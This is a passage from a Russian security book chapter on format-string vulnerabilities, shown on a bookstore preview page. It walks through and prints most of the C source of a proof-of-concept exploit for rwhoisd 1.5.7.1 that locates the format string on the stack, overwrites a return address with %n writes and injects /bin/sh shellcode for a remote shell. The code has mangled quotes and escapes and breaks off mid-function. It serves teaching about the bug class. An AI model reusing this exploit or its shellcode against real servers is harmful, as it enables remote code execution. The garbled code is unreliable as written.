Программа атаки с использованием форматирующей строки
Программа атаки с использованием форматирующей строки
Рассмотрим пример программы атаки на основе форматирующей строки. В случае программ, аналогичных программе rwhoisd, перед злоумышленником стоит задача выполнить злонамеренный программный код, который должен обеспечить доступ к главному хосту.
Программа атаки была написана для уже упоминавшейся ранее программы rwhoisd версии 1.5.7.1, откомпилированной на системе i386 Linux. Как уже говорилось, для выполнения злонамеренного программного кода программа атаки должна подменить величину, которая в некоторый момент времени интерпретируется атакованным процессом как адрес выполняемых команд. В рассматриваемой программе атаки адрес возврата из функции подменяется на адрес злонамеренного программного кода, который при помощи функции exec() запускает /bin/sh и обеспечивает доступ к клиенту.
Первое, что должна сделать программа атаки, – это подключиться к сервису сервера RWHOIS и найти форматирующую строку в стеке. После подключения к сервису функция brute_force() программы атаки отсылает ему форматирующую строку. В начало форматирующей строки записана константа 0x6262626262, которая является признаком ее начала. Функция brute_force() включает в форматирующую строку такие спецификации преобразования, которые увеличивают размер выводимой области стека. Сервис во время обработки переданной форматирующей строки последовательно извлекает из стека слова и возвращает их обратно программе атаки. Получив ответ сервера, программа атаки сравнивает полученные слова с признаком начала форматирующей строки и находит форматирующую строку. Использование константы 0x6262626262 в качестве признака начала форматирующей строки позволяет упростить алгоритм работы, не думая о возможных осложнениях из-за выравнивания данных в памяти.
if((*ptr == “0”) && (*(ptr+1) == “x”))
{
memcpy(segment,ptr,10);
segment[10] = “”;
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words
away. ”,i);
foundit = i;
return foundit;
}
ptr += 10;
}Содержимое стека просматривается с помощью спецификаций преобразования %010p. Спецификация формата %010p выводит очередное слово стека в восьмисимвольном шестнадцатеричном представлении с предшествующими символами 0x. С помощью функции библиотеки языка C strtoul() каждая из выведенных строк преобразуется в длинное целое двоичное число без знака.
Главное, что должна сделать программа, – это выполнить произвольный программный код. Для этого ей нужно подменить величины, которые могут указывать на выполнимые команды. Одной из них является адрес точки возврата из функции. Ранее уже отмечалось, что при переполнении буфера часто перезаписываются адреса возврата из функций. Адреса возврата перезаписываются по двум причинам. Во-первых, они находятся в стеке, а во-вторых, при переполнении буфера их можно перезаписать. В рассматриваемой программе адрес возврата из функции подменяется на адрес злонамеренного программного кода, прежде всего из-за легкости, с которой выполняется эта операция.
В программе атаки переписывается адрес возврата функции print_error(), который при вызове функции сохраняется в стеке. Поскольку программа предназначена только для демонстрации возможности подобных действий и на момент тестирования программы атаки адрес возврата из функции print_ error() находился в стеке сервиса по адресу 0xbffff8c8, то адрес перезаписываемой области в программе атаки задан символической константой TARGET.
После определения программой атаки адреса форматирующей строки формируется новая строка со спецификациями преобразования %n. Для подмены адреса возврата спецификациям %n должны соответствовать параметры, через которые передается адрес перезаписываемой области данных. Для поиска нужных адресов используются спецификации преобразования %x с указанием ширины поля, которые просматривают нужное число слов в стеке. В программе атаки необходимую последовательность спецификаций преобразования %x функция get_str() формирует автоматически по результатам работы функции brute_force().for(i = 0;i<num-1;i++)
{
strncat(str,“%x”,2); // work our way to where target is
}В переменной num хранится число просмотренных слов стека, предшествующих форматирующей строке. Число просмотренных слов определяется функцией brute_force(). Осталось определить адрес записи. Адрес возврата перезаписывается ранее обсуждавшимся способом многократной записи. Для формирования четырехбайтного адреса используют четыре операции записи с различным смещением от начала перезаписываемой области данных. Адреса каждого из четырех байтов перезаписываемой области помещаются в отсылаемую строку:
*((long *)(str+8)) = TARGET; // target
*((long *)(str+16)) = TARGET+1;
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
str[36] = “”;Следующий шаг состоит в записи правильных величин, определяющих адрес злонамеренного управляющего программного кода в стеке. Поскольку программа атаки только демонстрирует обсуждаемые возможности, то в ней в качестве адреса злонамеренного управляющего программного кода используется постоянный адрес 0xbffff99d. При формировании адреса 0xbffff99d в каждый байт выделенной для записи области помещаются младшие разряды величин, специально подобранных программой атаки:
TARGET – 9d
TARGET+1 – f9
TARGET+2 – ff
TARGET+3 – bfРанее уже обсуждалось использование спецификаций преобразования %n для записи младших разрядов данных. В последовательные возрастающие адреса памяти, задаваемые символическими константами TARGET, TARGET+1, TARGET+2 и TARGET+3, записываются младшие байты специально подобранных величин, которые совпадают с одним из байтов адреса программного кода. Например, при использовании спецификации преобразования %125x в область памяти, адрес которой равен значению константы TARGET, записывается величина, младший байт которой совпадает с младшим байтом адреса программного кода. Указав в спецификации преобразования %x ширину выводимого поля и применив способ многократной записи, можно сформировать в нужной области памяти адрес программного кода:
strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth writeСледует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом.
Как только адрес возврата функции будет переписан, функция vfprintf() завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print_error() завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.
Ниже приведен исходный текст программы атаки:
// proof of concept
// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system
//
// overwrites return address at 0xbffff8c8 and replaces it with
// address of shellcode (for this binary)
// the shellcode is based on that which was included
// in an exploit written by ‘CowPower’.
// http://www.securityfocus.com/archive/1/222756
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <linux/in.h>
extern int errno;
#define FINDME 0x62626262 // we need to find this in the stack
#define TARGET 0xbffff8c8 // the address that we are
overwriting
void gen_str(char *str, int found,int target);
unsigned int brute_force(int s, char *str,char *reply);
void session(int s);
int main(int argc, char *argv[])
{
int s;
fd_set fd;
int amt;
struct sockaddr_in sa;
struct sockaddr_in ca;
int where = 0;
char reply[5000]; // receive buffer
char str[1000]; // send buffer
str[0] = “-”; // – directive prefix
str[1] = “s”;
str[2] = “o”;
str[3] = “a”;
str[4] = “ ”; // padding
str[5] = “ ”; // padding
str[6] = “ ”; // padding
str[7] = “ ”; // padding
*((long *)(str+8)) = FINDME; // find me in the stack
str[12] = “”;
bzero(&ca,sizeof(struct sockaddr_in));
bzero(&sa,sizeof(struct sockaddr_in));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror(“socket:”);
}
if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)
{
perror(”bind:”);
}
sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);
sa.sin_port = htons(4321);
sa.sin_family = AF_INET;
if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)
{
perror(“connect”);
}
where = brute_force(s,reply,str); // brute force
gen_str(str,where,TARGET); // generate exploit
string
write(s,str,strlen(str)); // send exploit code
while(1)
{
amt = read(s,reply,1);
if (reply[0] == “ ”)
break;
}
write(s,“id; ”,4);
amt = read(s,reply,1024);
reply[amt] = “”;
if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]
== “d”))
{
printf(“*b00m*: %s ”,reply);
session(s);
}
else
{
printf(“exploit attempt unsuccessful.. ”);
}
close(s);
exit(0);
}
unsigned int brute_force(int s,char *reply, char *str)
{
// this function searches the stack on the victim host
// for the format string
int foundit = 0;
int amt = 0;
int i = 0;
amt = read(s,reply,500); // read in the header, junk
reply[amt] = “”;
while(!foundit)
{
strncat(str,“%010p”,5);
write(s,str,strlen(str)+1);
write(s,“ ”,1);
amt = read(s,reply,1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed. ”);
close(s);
exit(-1);
}
reply[amt] = “”;
amt = 0;
i = 0;
while(reply[amt-1] != “ ”)
{
i += amt;
amt = read(s, reply+i, 1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed. ”);
close(s);
exit(-1);
}
}
reply[amt] = “”;
foundit = find_addr(reply);
}
}
int find_addr(char *str)
{
// this function parses server output.
// searches in words from the stack for
// the format string
char *ptr;
char segment[11];
unsigned long chekit = 0;
int i = 0;
int foundit = 0;
ptr = str + 6;
while((*ptr != “”) && (*ptr != “ ”))
{
if((*ptr == “0”) && (*(ptr+1) == “x”))
{
memcpy(segment,ptr,10);
segment[10] = “”;
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words
away. ”,i);
foundit = i;
return foundit;
}
ptr += 10;
}
else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))
{
ptr += 10; // 0x00000000
}
i++;
}
return foundit;
}
void gen_str(char *str,int num,int target)
{
// this function generates the exploit string
// it contains the addresses to write to,
// the format specifiers (padding, %n’s)
// and the shellcode
int i;
char *shellcode =
“x90x31xdbx89xc3x43x89xcbx41xb0x3fxcdx80xebx25x5e”
“x89xf3x83xc3xe0x89x73x28x31xc0x88x43x27x89x43x2c”
“x83xe8xf5x8dx4bx28x8dx53x2cx89xf3xcdx80x31xdb”
“x31xc0x40xcdx80xe8xd6xffxffxff/bin/sh”;
memset(str+8,0x41,992); // clean the buffer
*((long *)(str+8)) = TARGET; // place the addresses
*((long *)(str+16)) = TARGET+1; // in the buffer
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
*((long *)(str+36)) = TARGET+4;
str[36] = “”;
for(i = 0;i<num-1;i++)
{
strncat(str,“%x”,2); // work our way to where target is
}
// the following section is binary dependent
strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth write
strncat(str,shellcode,strlen(shellcode)); // insert the
shellcode
strncat(str,» »,1); // terminate with a newline
}
void session(int s)
{
// this function facilitates communication with a
// shell exec()’d on the victim host.
fd_set fds;
int i;
char buf[1024];
FD_ZERO(&fds);
while(1)
{
FD_SET(s, &fds);
FD_SET(0, &fds);
select(s+1, &fds, NULL, NULL, NULL);
if (FD_ISSET(0,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
fgets(buf,sizeof(buf)-2, stdin);
write(s,buf,strlen(buf));
}
else
if (FD_ISSET(s,&fds))
{
i = 0;Более 800 000 книг и аудиокниг! 📚
Получи 2 месяца Литрес Подписки в подарок и наслаждайся неограниченным чтением
ПОЛУЧИТЬ ПОДАРОКДанный текст является ознакомительным фрагментом.
Читайте также
Глава 3 Атаки
Глава 3 Атаки Я собираюсь обсудить три основных класса атак. Преступные атаки относятся к наиболее явным, и этому типу я уделю основное внимание. Но два других класса – атаки, приводящие к огласке, и «законные» атаки – могут быть гораздо более разрушительными.Преступные
Глава 3 Удаленные атаки на распределенные вычислительные системы
Глава 3 Удаленные атаки на распределенные вычислительные системы Непостижимо все, что в мире есть, К тому ж изъянов в том, что есть, не счесть. О. Хайям. Рубаи Основной особенностью любой распределенной системы, как уже отмечалось, является то, что ее компоненты
Глава 4 Удаленные атаки на хосты Internet
Глава 4 Удаленные атаки на хосты Internet Многое Наша Земля повидала, Но не видала Такого скандала! Б. Заходер. География всмятку Анализ сетевого трафика InternetВ Internet базовыми протоколами удаленного доступа являются TELNET и FTP (File Transfer Protocol). TELNET – это протокол виртуального
1.1. Атаки хакеров
1.1. Атаки хакеров Прежде чем знакомится с Linux и ее принципами безопасности, мы должны знать, как хакеры могут проникать в систему. Для того чтобы защитить систему, нужно иметь представление о возможных действиях злоумышленника. Давайте познакомимся с процессом взлома
14.6. DoS/DdoS-атаки
14.6. DoS/DdoS-атаки Одной из самых страшных является DoS-атака. На мой взгляд, это самое глупое, что могли придумать хакеры. Когда не получается взломать сервер, его делают недоступным различными методами, вплоть до бессмысленного замусоривания канала связи. В этом разделе мы и
Программа Nero Express Лучшая программа для записи дисков
Программа Nero Express Лучшая программа для записи дисков Записывать диски средствами Windows неинтересно. Во-первых, скучно, а во-вторых, вам недоступны какие-либо настройки записи, вы даже не можете указать скорость, не говоря уже о выборе формата диска, методе записи. Вот
Сетевые атаки с использованием червей, вирусов, троянских коней
Сетевые атаки с использованием червей, вирусов, троянских коней Симптоматика вирусного заражения обычно следующая: заражение исполняемых файлов (EXE, COM), сопровождаемое аномальным поведением при запуске, «чудо-форматирование дисков», необратимое подвисание системы и т.
Атаки
Атаки Как показывают исследования с использованием авторитетной техники Gnivirdraw, до 80 % клиентов содержат в профиле незащищенные подключения или же вообще соединяются с ложными точками доступа. Несмотря на всю кажущуюся беззащитность перед профессиональным взломом, все
Глава 9 Ошибки форматирующей строки
Глава 9 Ошибки форматирующей строки В этой главе обсуждаются следующие темы: • Уязвимость форматирующей строки • Пример уязвимой программы • Тестирование программ способом случайной форматирующей строки • Программа атаки с использованием форматирующей строки ·
Уязвимость форматирующей строки
Уязвимость форматирующей строки Для понимания сути уязвимости форматирующей строки необходимо иметь четкие представления о работе функции printf(). Часто программистам требуется сформировать строку из нескольких переменных разного типа во время работы программы.
Тестирование программ способом случайной форматирующей строки
Тестирование программ способом случайной форматирующей строки Поместив в исходный текст программы потенциально уязвимую форматирующую строку, продемонстрируем способы ее использования злоумышленником при помощи входных данных программы и изучим реакцию сервера на
Внутренний анализ устройства: атаки на электрическую схему
Внутренний анализ устройства: атаки на электрическую схему Многие из уязвимостей и изъянов в системе защиты, конструктивных недостатков устройства обнаруживаются на этапе анализа электрической схемы. К этому моменту корпус устройства уже вскрыт (будем надеяться) и
Резюме: Атаки изнутри
Резюме: Атаки изнутри Эти два вторжения заставили нескольких сотрудников банка потратить много рабочего времени на расследование проблемы хакера, вместо того чтобы заниматься своей работой. Дэйв взял решение проблемы на себя и принял ряд решений, которые поставили под
Словарь как орудие атаки
Словарь как орудие атаки Когда кто-нибудь получает ваш пароль, он может вторгнутся в вашу систему. В большинстве случаев, вы даже не узнаете, что произошло что-то плохое.У юного хакера, которого я назову Иваном Питерсом, есть цель – получить исходный код для новой
Определение атаки
Определение атаки Эти таблицы помогут вам обнаружить атаку социального инженера.ДействиеОПИСАНИЕИсследованиеМожет включать в себя ежегодные отчеты, брошюры, открытые заявления, промышленные журналы, информацию с вэб-сайта. А также выброшенное в помойки.Создание
Атаки на приватность продолжаются
Атаки на приватность продолжаются Это был тяжелый год для приватности. Когда в ноябре 1999 года эта книга вышла из печати, рекламное интернет-агентство Doubleclick как раз закончило процесс слияния с занимающейся маркетинговыми исследованиями фирмой Abacus Direct. Doubleclick планировало